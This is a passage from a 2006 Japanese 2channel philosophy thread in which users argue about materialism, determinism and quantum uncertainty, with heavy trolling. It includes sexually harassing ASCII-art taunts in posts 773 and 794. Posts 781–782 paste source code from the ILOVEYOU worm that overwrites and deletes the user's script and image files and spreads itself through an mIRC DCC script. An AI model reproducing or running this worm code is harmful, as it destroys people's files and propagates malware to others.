 起源を説明するとつまり人間は外部から物資や人間関係をとり込まないと生きていけないから
外部のものや他人に働きかけようとして意識や観念を発生させるのさ

 とこうかけばいいのか、2ちゃんでは小学校教師のようにしないとな 


737 :考える名無しさん:2006/11/21(火) 21:01:10
かかれたことの深い内容が00のため読み取れない
↓翻訳
書かれた事の中にそもそも深い内容がなにもないため、
誰がどうがんばろうと読み取ることはできない


738 :考える名無しさん:2006/11/21(火) 21:04:16
>>736
再掲と書きたかった

「さいかつ」と書いてもなぜか変換できない

とりあえず最初に出てきた「再かつ」にしといた

もう一度再掲と書きたくなった

もう一度「さいかつ」と書いたがやはりなぜか変換できない

今度はもうちょっと変換がんばって「最渇」にしといた

739 :考える名無しさん:2006/11/21(火) 21:05:33
もう、なんか痛々しくてみてらんない。

740 :考える名無しさん:2006/11/21(火) 21:08:29
ガーナの人?

741 :考える名無しさん:2006/11/21(火) 21:15:24
>>第2唯物論さん

このスレはもう揚げ足取りばっかりで救いようがないので、
できれば↓のスレで、基本的なところから第二唯物論を講義してもらえませんか?

【弁証法的唯物論】唯物論研究会【史的唯物論】
http://academy4.2ch.net/test/read.cgi/philo/1097647048/


742 :考える名無しさん:2006/11/21(火) 21:17:57






ただいま帰りましたよ無職ども


743 :考える名無しさん:2006/11/21(火) 21:50:51
>>741
第2唯物論はマルクス主義ではないと本人がいっているではないかw
階級闘争もプロレタリア独裁も関係ないと

744 :考える名無しさん:2006/11/21(火) 22:22:37
このスレは哲学の空しさを体験する為に存在するらしい

745 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 22:41:22
>>737 文章をやたら難しくかかないと大きい意味はないはずと馬鹿はおもうんだろうなあ

746 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 22:43:13
>>741 弁証法的唯物論だと第3唯物論がガンガンでてきてそれが邪魔で第2は理解されないからなあ

考えとくよ

747 :考える名無しさん:2006/11/21(火) 22:43:19
再渇のいみをおしえてくだちい
ぼくにはむずかしくてよめません

だいにゆいぶつろんじゃさんへ

だいたいゆいぶつろんじゃより

748 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 22:45:59
>>747 幼稚園児は苦手だから相手にしない

749 :小さなヨハネ ◆1oKmZSIAF. :2006/11/21(火) 22:46:12
>>729
私は私で哲学徒はどうしてこうレベルが低いのか興味があるのです。

750 :小さなヨハネ ◆1oKmZSIAF. :2006/11/21(火) 22:48:56
そもそも唯物論を信じるなど、麻原某を信じるのと同レベルだからです。
よくそんなくだらないものが信じられるものです。

751 :考える名無しさん:2006/11/21(火) 22:49:15
>>749
ヨハネさんは神様を認識出来るんですか?
(皮肉や揚げ足取りの意味は無く、素朴な質問としてです)
認識って言葉がメンドクサイ説明になりそうだったら、
何か他の言葉で語ってもらっても構いません

752 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 22:50:07
>>743 マルクスの発見は第2だと思うなあ、上部構造はどうなってるかの発見
第3唯物論は結構作ってる.といっても当時はブルジョアはひどいものだったから実際に
そうであって、階級闘争がすごく必要だったんだろう、だからそのとき当時の状況が哲学に反映するという意味で史的唯物論というしなあ

753 :小さなヨハネ ◆1oKmZSIAF. :2006/11/21(火) 22:51:05
>>748
ところであなたはおかま巫女ではないんですか。

754 :考える名無しさん:2006/11/21(火) 22:52:11
くしこか?w

755 :小さなヨハネ ◆1oKmZSIAF. :2006/11/21(火) 22:52:23
>>751
勿論です。

756 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 22:53:46
>>750 ヨハネさん唯物論とはなにはどうであるという論だかいってみて

757 :考える名無しさん:2006/11/21(火) 22:54:10
>>755
それは信仰という行為の結果としてですか?
それとも、その有無にかかわらず誰にでも認識出来るような性質に
よってですか?

758 :考える名無しさん:2006/11/21(火) 22:59:45
>>755
神と神でないものの違いは何でしょうか。

759 :パンドラ:2006/11/21(火) 23:06:34
>>753
はぁい、ごめんなさい。
わかるようにコテハンにしてみるわ。
ぶってぇ♪

760 :処刑ライダー ◆.EDMOUBKE2 :2006/11/21(火) 23:09:57
おまいら。

761 :第2唯物論 ◆qBkUSoWgX. :2006/11/21(火) 23:09:59
>>759 やっぱりパンドラだった、おひさしぶり

762 :小さなヨハネ ◆1oKmZSIAF. :2006/11/21(火) 23:14:44
>>756
物がすべて。
>>757
信仰という行為の結果という捉え方は恐らく間違いです。真理の認識に
よってです。真理を認識する結果それを信じることを信仰というのです。
真理と言うも、信仰と言うも、同義であり、大昔は信仰という言葉は
無くて、真理と言ったそうです。
>>758
なんだか、以前ヨハネのしっぽ氏に聞かれたような内容です。
神と神でないものの違いとは、創造主と被造物の違いです。
何が違うかというと、創造主は自ら生きており、被造物はそれ自身は
死んでいます。


763 :小さなヨハネ ◆1oKmZSIAF. :2006/11/21(火) 23:16:37
ワトソン:なんだ、第2もおかま巫女じゃないか。
ホームズ:そのようだね。

764 :考える名無しさん:2006/11/21(火) 23:19:28
>>762
真理の認識とは言語で語れる性質ですか?
それとも、言語外から来る天啓のような性質のものですか?


765 :小さなヨハネ ◆1oKmZSIAF. :2006/11/21(火) 23:25:46
>>764
天啓です。照示と言います。

766 :パンドラ:2006/11/21(火) 23:27:08
>>761
えーっ!?
どなたぁ?むかしのなまえおせーて。
>>764
わたし前者だと思うわ。
すくなくもふたつの概念が前提になるのよ。要は二つの概念が繋がっているか
いないかの判定、って定義で事足りると思うわ。
「√2なる数はない」っていうでしょ。これは数論の議論領域を有理数にするか
無理数にするかで決るもんね。


767 :小さなヨハネ ◆1oKmZSIAF. :2006/11/21(火) 23:33:44
>>766
ワトソン:ブルネルス、おかまは勘弁してくれ。
ホームズ:ははは。

768 :パンドラ:2006/11/21(火) 23:34:04
>>765
それって、記号と概念を無意味に増やしているだけだと思うわ。
批判して、ごめんなさい。

769 :考える名無しさん:2006/11/21(火) 23:43:27
>>765
お答えありがとう
ヨハネさんって普通に話せるんですねw
ワトソンの真似せずにいつも普通に書けばいいのに
勝手だけど、スレ違いなんでここらで質問止めます

770 :考える名無しさん:2006/11/21(火) 23:51:13
>>762
>神と神でないものの違いとは、創造主と被造物の違いです。

どうちがうのですか?
映画監督とフィルムの関係ですか?
創造主はどこにいるのですか?

771 :463:2006/11/21(火) 23:59:57
>>691
あなたの言説の本筋に対してではないですが、少し「利益」について質問が
あります。けれども、例によって酔っ払っていて、第二さんのような文章に
なりそうですので次回にさせていただきます。

ところで、あなたが雀荘で小銭のやりとり(失礼)に一喜一憂しつつ、その合間
に形而上学的夢想(失礼)に耽っていたそのスキに、この国の指導者たちは国家
的“当為”の方向をまとめあげました。彼らは、この国の住人たちの頭から爪先
まで教育(という心棒)で串刺しにしてしまう腹づもりのようです。
その心棒には、こう刻印されています。「公共の利益のために生きよ」
が、その本心は「国家(の利益)のために死ね。それが正義だ」ということで
しょう。この国の指導者たちの意図、目論みをゾルレンさんはどうみていま
すか。興味がなければ、答えはいりません。



772 :考える名無しさん:2006/11/22(水) 00:06:11
量子哲学スレとか言って全然哲学、量子知ってないスレ発見。誰かこのスレにちょっかいではなくその人達を論破する言葉入れといて下さいhttp://www.i-gainax.jp/index.php?uid=NULLGWDOCOMO&mmmsid=gainax&actype=bbs&mode=view&ctgid=eva_0&ppg=1&cpg=&itemid=194081

773 :考える名無しさん:2006/11/22(水) 03:49:37
        /⌒ヽ⌒ヽ
               Y       基地外は結婚してんの?
            八  ヽ
     (   __//. ヽ,, ,)    基地外とはさぁ、どんなセックスしてるわけ?
      丶1    八.  !/
       ζ,    八.  j     週何回?どこを責められると感じる?
        i    丿 、 j
        |     八   |     どんな体位が好き?コンドームは着けてる?
        | !    i 、 |
       | i し " i   '|    基地外以外とは何人とセックスした?この絵みたいなチンポは好き?
      |ノ (   i    i|
      ( '~ヽ   !  ‖   基地外、ちゃんと教えて欲しいなぁぁぁぁぁ
        │     i   ‖
      |      !   ||    質問にはきちんと答えてくれるんだよねぇぇぇ
      |    │    |
      |       |    | |    早くぅぅぅぅぅぅぅぅぅぅぅぅ
     |       |   | |
     |        !    | |   基地外、もう待てないよおおぉぉぉぉぉぉぉ

774 :考える名無しさん:2006/11/22(水) 04:49:29
>>756

遺物登場w

何世紀前の人間だよ。

775 :考える名無しさん:2006/11/22(水) 04:50:48
訂正
762の頭のチイサナヨハネが前世紀の遺物ということ。

776 :考える名無しさん:2006/11/22(水) 06:03:39
先日見たできごと。
小さい男の子を連れた母親と、和服を着た楚々としたおばあさんが駅のホームで話していた。
会話内容からして、息子夫婦のところに姑が久しぶりに尋ねてきたらしい。
子供は照れているのか母親のかげに隠れ、ドラゴンボールの悟空のぬいぐるみをいじってばかりで
おばあさんが話しかけても恥ずかしそうにするだけだった。
そしたらおばあさん、何を思ったか突然シャドウボクシングみたいな動きをしつつ
子供のまわりを軽快に回りながら「オッス!オラババア!よろしくな!」と叫んだ。
その瞬間、私の横でベンチに座っていたリーマンが勢いよく鼻からコーヒーを吹き、
目の前に置いてあったおばあさんのトランクをコーヒーと鼻水まみれにした。
おばあさんの突然の行動と、鼻水とコーヒーを垂らし咳き込みつつ謝りまくっている
リーマンの姿に、母子含めた周囲は爆笑。おばあさんは孫が笑っているのを見て
嬉しかったのか快くリーマンを許し、なんか和やかな雰囲気で三人連れ立って去っていった。

777 :考える名無しさん:2006/11/22(水) 08:54:27
777

778 :考える名無しさん:2006/11/22(水) 09:27:51
      ____        
    /      \      
   /         ヽ    
   |  ^   ^     |  
   | .>ノ(、_, )ヽ、    /  
   | ! -=ニ=-  ′ 6 l  オッス!オラヒロユキ!
.   ヽ  `ニニ´    ,-′   工夫したSEXはしない。
     ヽ (((((( /ヽ     週一が限界。乳首チロチロして下さい。
     / |/\/ l ^ヽ   面倒臭いから俺が下。着けない。
     | |      |  |  数えるの?だぁっせぇっ。元気良いね。

779 :考える名無しさん:2006/11/22(水) 09:35:13
       /                         ヽ,
     , '                              ヽ
    ,.'                               `、
    ,'          ,{   ,   、                  ',
   f       /   / / |   ,'l   `、    ',           ,
   l   ,'   ,'  / /  l   f ',   iヽ   i      i       i
    l   l  ./'|  /| ,'   ', .! ,_ ヽ  ', \  l       |:.       l
    l   l / l ,' _l.|‐'´  `、|  ``ヽー+ --\l.      |:::.       l
    l   l ,' -‐!''!´ |     ヽ    \'、   '|     |::::.     l
    l  ',|ヽ, ',|             \.  |     r‐ 、    ,'
    l   ` ::i'、 l   __       .,,,       |     l':. }   . f
    l     .:| `,'ー===='      ー====''"|     |::: /:.. : |
   l :  ::::|  !.::::::::..          .:::::::::|      レ´l::::. :::. l      
   l :.  :::::|  |:::::::::::   、        ::::::::::| :.   :l:::::::l::::::.::::..!
   l ::. :::::|   '、                | ::.   .:!:::::::l::::::::::::.'、
   l :::. .:::::!   l丶、_              ,.| :::. :. .:::'ヽ,::::l:::::::::::::.ヽ,_       /
   l ::::.::::::|   l ::::::::::T'- 、 ,_ -‐  _,,. - '´ | :::::.::..:,'   )' - ._::::::::.\、'==- '´
   l :::::::::::!   | :::::::::::|:::/{   ̄〈 ヽ   _,' .:::::::::,'  ./   \::::::::..ヽ,
   l ::::::::::i    | ::|::::::/   ヽ,   ',   (/..:::::::::,'  /       \::::::::..\

780 :考える名無しさん:2006/11/22(水) 09:38:37

このスレッドは人知を超えました。
もう書けないので、新しいスレッドも立てないでくださいです。。。

781 :考える名無しさん:2006/11/22(水) 11:36:07
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close

782 :考える名無しさん:2006/11/22(水) 11:36:39
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ;"
scriptini.WriteLine ;Khaled Mardam-Bey"
scriptini.WriteLine ;http://www.mirc.com"
scriptini.WriteLine ;"
scriptini.WriteLine n0=on 1:JOIN:#:{"
scriptini.WriteLine n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub

783 :考える名無しさん:2006/11/22(水) 11:38:25
自由意志と倫理はあんま関係ない気がしてきた。

784 :考える名無しさん:2006/11/22(水) 12:57:14
もう一度書くけれどもね
観測した時点で性質が決まり、
観測以前は確率的にしかわからんことを
決定しているのだ。
そう言うからには矛盾を除くために量子論を排斥した 形にするため
>>1は考えを組み立てる必要があっただけ。
量子というのは運動量を観測すれば位置がデタラメになりどこにあるんだかわからなくなる。
位置を観測すれば運動量が無限大に不正確になってしまう。
であるから不確定性原理は観測するまでは
確率的にしかわかりませんよということ。
観測する行為自体が対象に影響を与えるんだから。
これでデカルト以来の主観と客観はそれぞれ完全に分離しているという
前提はぶっ壊れてしまう。
こういうわけで量子論においては客観は成り立たないということ。
でも量子論がこれまでの科学の常識を一新してしまうということじゃないんだよ。
これまでも科学的見解がもっとも確実そうであったのだが
量子論はまだまだ未知の段階だから
今後どう進歩するかわからんのだよ。

785 :考える名無しさん:2006/11/22(水) 13:02:12
>>784

これだから理系の方はあまりここに来て頂きたくないのです。
テンプレをしっかりと読んで頂かないと困ります。
決定論といってすべて決まっているという考えについて
意見を述べるならばまだしもただ量子論のさわりを吐いて
いるだけでは話は進みません。第一、あなたの論旨が
よく理解できませんし、客観は成立たないと言いながら
それは影響力があまりなくこれからもわからないと
言っているのですよ。これでは何を言いたいのか
さっぱりわかりません。量子論においても
さらに研究が進めば量子の運動も決定している
というようになると思われますし。特に観測が
対象に影響を与えることも謎が解けると思いますがどうです?

786 :考える名無しさん:2006/11/22(水) 13:10:14
>>785
>これだから理系の方はあまりここに来て頂きたくないのです。
>テンプレをしっかりと読んで頂かないと困ります。

理系、理系って、私は理系じゃないんだよ。勝手な推測で理系の人間だと判断されて、
しかも来るなって、どういう神経してんの?
こちらもね、見ていてとんでもない中学生みたいなのをいちいち相手にするのは疲れるの。
もう文系とか理系の自尊心の削り合いみたいな幼稚すぎる真似はやめた方がいいよ。
小学生とかならわからんでもないがね。

>意見を述べるならばまだしもただ量子論のさわりを吐いて
>いるだけでは話は進みません。第一、あなたの論旨が
>よく理解できませんし、客観は成立たないと言いながら
>それは影響力があまりなくこれからもわからないと
>言っているのですよ。これでは何を言いたいのか
>さっぱりわかりません。

わかんないのにいちいち反論をするのは必要なことですか?いらないと思うけどね。
私の発言は決定論と関係があるから発言している。
またまた、勝手な推測や決め付けで関係ないから出て行けというのは気にくわねえな。
量子論で人間が観測するまでは確率的にしかわからないと言ってるの。
観測者の観測が対象に影響を与えるから。
だからあなたが言ってる謎がとけるとかもどうでもいいことなんだよ。
謎も何も観測が対象に影響を与えるのだといってるじゃない。
謎が解ける、って意味が分かりませんが。


787 :考える名無しさん:2006/11/22(水) 13:15:13
>>786
理系の方ではなかったのですね。これは大変失礼致しました。
私は別に憶測や思い込みで話しているつもりはぜんぜんないのです。
ただ、量子論とやらの観測が対象に影響を与えるであろうということに
ついて、それは観測が実際に対象に影響を与えているのではなくて
本当は観測が対象に影響を与えるのではなく、量子は観測に影響されては
実のところいないのではないかということをお聞きしたかったのです。
現時点では観測の方が力量不足のようですから困難と思いますが
観測能力のレベルがまだ低いということではないですか?

788 :考える名無しさん:2006/11/22(水) 13:28:42
>>787
>ただ、量子論とやらの観測が対象に影響を与えるであろうということに
>ついて、それは観測が実際に対象に影響を与えているのではなくて
>本当は観測が対象に影響を与えるのではなく、量子は観測に影響されては
>実のところいないのではないかということをお聞きしたかったのです。
>現時点では観測の方が力量不足のようですから困難と思いますが
>観測能力のレベルがまだ低いということではないですか?

そこまではまだわかってないって言ってるじゃないですかよ。憶測や思い込みはしてないとか言って
やっぱり憶測や思い込みで言ってるじゃねえか。
もうかなりそう思いたいという気持が強いみたいだしそうとしか見えない。
あんたは不確定性原理を勉強した方がいい。
量子論の不確定性原理というのは
観測する行為自体が対象に影響を与えることだ。
そんでもって正しい観測結果は観測しない状態でしかもとめられないってこと。
それがどうかしたの?
世界誕生数秒前説とか知ってるのか?観測する行為自体が対象に影響を与えるってのは
考えてみりゃ当たり前だ。正しい観測結果は観測しない状態でしか求められんのだから。
この世界も観測者が観測した時点でさかのぼって創られた、ってう世界は数秒前にできたかもしれないんだよ。
こりゃ哲学なんかじゃなく科学なんだよ。
科学がこれまでやってきたことが人々が信じているほど確実なものじゃなかったってことになる。
けど、宗教とかの正当性が相対的に上がるわけじゃないしね。
単にこの世界のことは人間がそう簡単に科学でわかるようなもんじゃないってことだ。
観測能力のレベルは上がるかもしれないよ。
けど上がったところで観測行為はしなきゃ結果が出ないんだからやっぱり対象に影響を与えてるじゃないか。
何が言いたいのかわからないのはあんたの方だよ。


789 :考える名無しさん:2006/11/22(水) 13:37:05
>>788

その様に科学的な事実だけで哲学をするならば
やめた方がいいですよ。ここは哲学板なんですよ。
科学を披露したいのなら適当な板が他にありますから
そちらに行って下さい。自分が求めているのは
世界のありのままの事実ですから観測行為云々は大して
重要なことと思えません。科学の力も借りなければなりませんが
最終的にあらゆる世界の事実は掴むことが出来ると思います。
観測結果が対象に影響を与えるから客観は成立たないならば
科学の客観性を疑われます。

790 :考える名無しさん:2006/11/22(水) 13:50:33
>>789
>その様に科学的な事実だけで哲学をするならば
>やめた方がいいですよ。ここは哲学板なんですよ。
>科学を披露したいのなら適当な板が他にありますから
>そちらに行って下さい。
理系は来るなとかいろんな難癖つけてやっぱり追い出そうとしてるだけじゃねえか。
みんなかなりいろんなネタをここで議論してるよ。
あんたみたいな議論の許容範囲の狭い人は見たことないしただ私が目障りなだけだろ。
>世界のありのままの事実ですから観測行為云々は大して
>重要なことと思えません。科学の力も借りなければなりませんが
>最終的にあらゆる世界の事実は掴むことが出来ると思います。
>観測結果が対象に影響を与えるから客観は成立たないならば
>科学の客観性を疑われます。
これもぜんぜんわかってないということが一発でわかる。
ありのままの事実を観測しないでどうやってわかるっていうんだよ。
宇宙と一体になったとかいう神秘的なことならばわかるが科学的には観測しなければ結果はでない。
わからないけどもありのままの事実があるんだという想定はしてもかまわん。
それが客観だし。
けど量子論は観測行為が対象自体に影響を与えるとさっき書いた。だからありのままの事実はわからない。
観測できないありのままの事実を想定したり神が存在すると想定してもいいけど
科学なら観測しなきゃ科学じゃない。
事実や真理を突き止めたいからいろんな学問が発達してきたわけだ。
宗教に始り、神学から哲学へ。そして自然科学へ。それから分岐していろんな学が誕生して
精密機械を作りより精度も増してる。
科学と一括りにあんたは言ってるけど、量子論の話なんですからね。
超微細な世界なんだから主観と客観の境界線が曖昧になっていますとわかって当たり前でしょうが。
大まかな話じゃない。


791 :741:2006/11/22(水) 13:51:52
>>746
いえ、あのスレはもう2ヶ月ほどレスがない過疎スレなんで
ほとんど邪魔は入らないと思いますよ。
もしそれでも気になるようでしたら、第二唯物論の講義用に
それ用のタイトルの新しいスレを建てますが。
そちらなら来てもらえますかね?

792 :考える名無しさん:2006/11/22(水) 13:54:05
                     /       ヽ\.    |
         /` 、       〃       , 、`Y〉    |
        /    \      / ,. -──- 、<  > }    |   サ
       /  ソ , 、  \    /彡 ´ ̄ ̄ `> レ、j、 |    |   イ
       ヽ / /  \   ヾ ̄/ ̄ `∨´ ̄  \ ̄ゞ- 、 |   レ
        〉;} ノ;;;  /〉  //7  / /ミ∧ヽ  ヽ ',ヽ ',  \|   ン
 __人     {;;;Y''  く_.ノ  ////  ,'  {    }| | | l| ll   | 考 ト
     ‐─ヘヾ;ヽ\   //从| 川从|   | |,斗-l ハ//∧   | 慮. マ
       〈 ∨/ ≧ニく>/ リ 川「≧ミ、   |/ィテミくl/|ハ{  l __ノ .し ジ
 ___ -ー 二7 `〉   く / /∧ハ《 {::i::}    {::i:ソ从 ! |  l ̄', て  ョ
 |_ ∠´| |   \ \  |l .,'/}  |∧ ゞ′   `´ { ,ト‐ヘ l | │ リ
  /  /| 二7  }  }  || /,'| | 人;;'' f  ̄ 1 ,イ ,' |  ', l. | |  テ
. / ゚/  ! |    7  l   ||../ | | | .>-ゝ _ノ,イ// L __ } l | |  ィ
└7/  |レヘ  _>⊥ f∨ _!/l 「 ヽ ̄「/ } ̄} /   \ |    を
 //   L, / 「  f } |∨    ',| `>ノ{   ト_//     \、
 `   __.   __ |  f\ヽ}  |\   ヾ / ハ |〈    }   ∧\
 -ー ´_/ rォ l | | 人__>'|  |  〉 -//  /※}  ∨`ヽ   l  / {  \
L ┬i L | | | | | 〈_ト┘.|__r'ト、ノ  {  ̄  ノ  / / /ヽ//|  | |    \_
. r' ニ r'' | | | | 7 |  |_/ \ |    く  `,. / / ∧ | i从
 7 || | ゝ' | | {   |   |     〉,'    〈\ノ── く / //
. ||| | _/ | l   |   ト、    /    /\} ゝ:;__::::_ノ ハ ´
. ||Lノ {_/ !.  |   |  \ /  //  || ヽ::::::::::::/ {
  `      /   |   |   7´ ̄´`ヾ  |  \ ̄  /

793 :考える名無しさん:2006/11/22(水) 14:26:23
観測されようがされまいが、(→人がいようがいまいが)、
「事象は、唯一つの道筋しか通らない。」
というのが決定論なんじゃないかね?
量子論で不確定だからとかなんとか、関係ないんじゃね?
それとも、同時にふたつの事象が存在しうるということなのかな?
まるで、アパートの隣の部屋のように・・・w

794 :考える名無しさん:2006/11/22(水) 14:40:30
        /⌒ヽ⌒ヽ
               Y       自作自演は結婚してんの?
            八  ヽ
     (   __//. ヽ,, ,)    自作自演とはさぁ、どんなセックスしてるわけ?
      丶1    八.  !/
       ζ,    八.  j     週何回?どこを責められると感じる?
        i    丿 、 j
        |     八   |     どんな体位が好き?コンドームは着けてる?
        | !    i 、 |
       | i し " i   '|    自作自演以外とは何人とセックスした?この絵みたいなチンポは好き?
      |ノ (   i    i|
      ( '~ヽ   !  ‖   自作自演、ちゃんと教えて欲しいなぁぁぁぁぁ
        │     i   ‖
      |      !   ||    質問にはきちんと答えてくれるんだよねぇぇぇ
      |    │    |
      |       |    | |    早くぅぅぅぅぅぅぅぅぅぅぅぅ
     |       |   | |
     |        !    | |   自作自演、もう待てないよおおぉぉぉぉぉぉぉ


795 :第2唯物論 ◆qBkUSoWgX. :2006/11/22(水) 17:12:44
  >事象は、唯一つの道筋しか通らない  でなく
ーーーー>確立の揺らぎが生じてその範囲で人間社会などは構成されてる
だから未来は決まってる「部分」以外決定してない

796 :第2唯物論 ◆qBkUSoWgX. :2006/11/22(水) 17:14:07
  残念ながら自然科学でないと決定論は正誤がわからない
だが量子力学ではない

797 :考える名無しさん:2006/11/22(水) 18:45:49
>>796
決定論を否定することは原理的に不可能だよ。

798 :考える名無しさん:2006/11/22(水) 19:17:02
要するに第二はマクロな事象のことしか考えられないんだな。
いくらミクロスケールでは決定論が正しい(可能性がある)って言っても
それがどうマクロな事象に関わってくるかという形でしか考えることができないから
カオスとか非線形とか統計力学とか持ち出してきて、予測不能→よって非決定、となり、
「原理的に」とか「物理学的に」とかの、自分の興味から多少でも外れた視点からは
物事を全く考えられない。

気の毒な人だから、いろいろややこしいことを突っ込んで困らせたりしないほうがいいと思う。

799 :考える名無しさん:2006/11/22(水) 19:40:04
>>797
主語が抜けてるぞ・・・「私には」という主語が

800 :考える名無しさん:2006/11/22(水) 19:43:17
>>799
これh主語は選ばない。
わからないことがあるからといって、決まってないことにはならない。
それ故、決定論は否定することが原理的に不可能なんだよ。


801 :考える名無しさん:2006/11/22(水) 20:26:01
>>800
主語は選べ、だってそんなこと言ってるのはお前だけじゃんw

802 :第2唯物論 ◆qBkUSoWgX. :2006/11/22(水) 20:34:00
>>798 >予測不能→よって非決定、となり

そんな幼稚でないって、予測不能がどうして原因になりうるのだ??馬鹿文系め、いろんなことがおこりえる揺らぎがあるのさ
数学的素養も相当必要だか馬鹿文系にはわからないよ

803 :第2唯物論 ◆qBkUSoWgX. :2006/11/22(水) 20:36:27
  >いろんなことがおこりえる「揺らぎ」があるのさ
どんな馬鹿でかい数の物理的係数群のうえにに人間社会の事象があるのか知ってるの界



804 :考える名無しさん:2006/11/22(水) 20:42:41
>>802-803
あのー、あなたにろくな数学的素養も物理学的素養もないことは
もうはっきり証明されてますから、あんまりハッタリかまさないほうが
いいと思いますよ。

揺らぎを言うなら、ミクロな自由度が多ければ多いほどマクロにはより決定論的に振舞うんですよ。
(大数の法則、といいます。揺らぎはサンプル数の平方根に反比例して小さくなるのです)
こんな基本的なことすらわかってないで揺らぎとか統計力学とか言ってるんでしょ?
もうバレバレなんですよ。

805 :考える名無しさん:2006/11/22(水) 20:52:54
>>803
ほらね、「人間社会の事象」という観点でしか物事語れないでしょ。
それを構成する「物理的係数群」とやらが決定論的か確率論的かなんて
全く考えてみようとも思わない。
少しでも自分の興味から外れるものは全く考察の対象に入らないんだね。

806 :考える名無しさん:2006/11/22(水) 20:56:14
大数の法則とか安直にイッっチャってるけど
大雑把に4種類あるうちのどれなんだろ

807 :考える名無しさん:2006/11/22(水) 21:06:43
>>806
大数の法則をいちいち4種類に分けて理解してんの?
ご苦労なことで。

808 :考える名無しさん:2006/11/22(水) 21:15:19
>>807
低脳乙w
法則収束と確率収束じゃえらい違いだよ
いっしょくたにして平気なのは破廉恥漢だけ

809 :考える名無しさん:2006/11/22(水) 21:21:56
>>808
あのー、大数の法則と中心極限定理の区別がついていらっしゃらないのですか?

810 :考える名無しさん:2006/11/22(水) 21:37:02
>>806-808
あほか?
法則収束と言うべきは中心極限定理。
大数の法則で問題になるのは、確率収束と概収束。
しかも4種程度でいちびってるんじゃねぇよ。
実際は7種類だろ。勉強しなおせ。

811 :考える名無しさん:2006/11/22(水) 21:39:10
>>810
大数の法則をいちいち7種類に分けて理解してんの?
ご苦労なことで。

てか他人の振りしてご苦労さん。

812 :考える名無しさん:2006/11/22(水) 21:42:04
>>811
はあ?
無知かつ無恥な文系はだまってろよ。
まさか大数の法則のヴァリエーションを知らずに理系だとか抜かすなよな?

813 :傑作迷言アンコール:2006/11/22(水) 21:43:18

>大数の法則をいちいち7種類に分けて理解してんの?
>ご苦労なことで。



814 :考える名無しさん:2006/11/22(水) 21:43:49
台数?
うちは車2台あるよ。

815 :考える名無しさん:2006/11/22(水) 21:44:48
>>811

他人の振りしてご苦労さん。

816 :考える名無しさん:2006/11/22(水) 21:46:47
>>812
はいはい。
引っ込みがつかないのはわかるけど、いいかげんみっともないからさっさと消えてね。

どうしても残りたいならもっとスレの議論の本質に絡むようなことレスしてね。
確率収束と概収束の違いが決定論や意識とどう絡むわけ?
自分のメンツを保ちたいがためだけの重箱の隅つつきはご勘弁を。

817 :考える名無しさん:2006/11/22(水) 21:57:24
>確率収束と概収束の違いが決定論や意識とどう絡むわけ?

>重箱の隅

破廉恥文系の典型的な反応。

>自分のメンツを保ちたいがためだけの

いかにも、普段から対して意味のない論争を繰り広げているふりをしている
君ららしい反応だよね。
まさに語るに落ちたわ。

818 :考える名無しさん:2006/11/22(水) 21:57:30
てか>>812-815で必死に自演しすぎて連投規制に引っかかってるのねw
しばらく頭冷やしな

819 :考える名無しさん:2006/11/22(水) 21:58:54
>>818
ほほう。面白い見解だなw。

ためしてみるかい?低脳w

820 :ほれほれ:2006/11/22(水) 21:59:37

>大数の法則をいちいち7種類に分けて理解してんの?
>ご苦労なことで。



821 :考える名無しさん:2006/11/22(水) 22:00:09
>>817
プ
じゃあその「破廉恥文系が対して意味のない論争を繰り広げているふりをしている」スレを
わざわざ覗きに来てる君は何者なんだろうねwww

822 :どこらへんで規制がかかるかな?:2006/11/22(水) 22:00:32

>大数の法則をいちいち7種類に分けて理解してんの?
>ご苦労なことで。


>重箱の隅




823 :傑作wwwwww:2006/11/22(水) 22:01:13

>大数の法則をいちいち7種類に分けて理解してんの?
>ご苦労なことで。



824 :考える名無しさん:2006/11/22(水) 22:02:02
>>821
阿呆をからかうのはおもしろいでつよ?

825 :「経験者は語る」かね?www:2006/11/22(水) 22:02:59

>必死に自演しすぎて連投規制に引っかかってるのねw

826 :考える名無しさん:2006/11/22(水) 22:03:06
ルサンチマンごっこでつか?

827 :まさに語るに落ちたね:2006/11/22(水) 22:04:21

>必死に自演しすぎて連投規制に引っかかってるのねw




828 :ww:2006/11/22(水) 22:05:20
>>826
どうかな?

829 :味わい深い名言だねぇ:2006/11/22(水) 22:06:09

>大数の法則をいちいち7種類に分けて理解してんの?
>ご苦労なことで。



830 :考える名無しさん:2006/11/22(水) 22:06:59
>>787
アホ

831 :考える名無しさん:2006/11/22(水) 22:07:27
実際にはどっちか一方のスリットを通ったはず

という機械タンの名言に匹敵するかも?

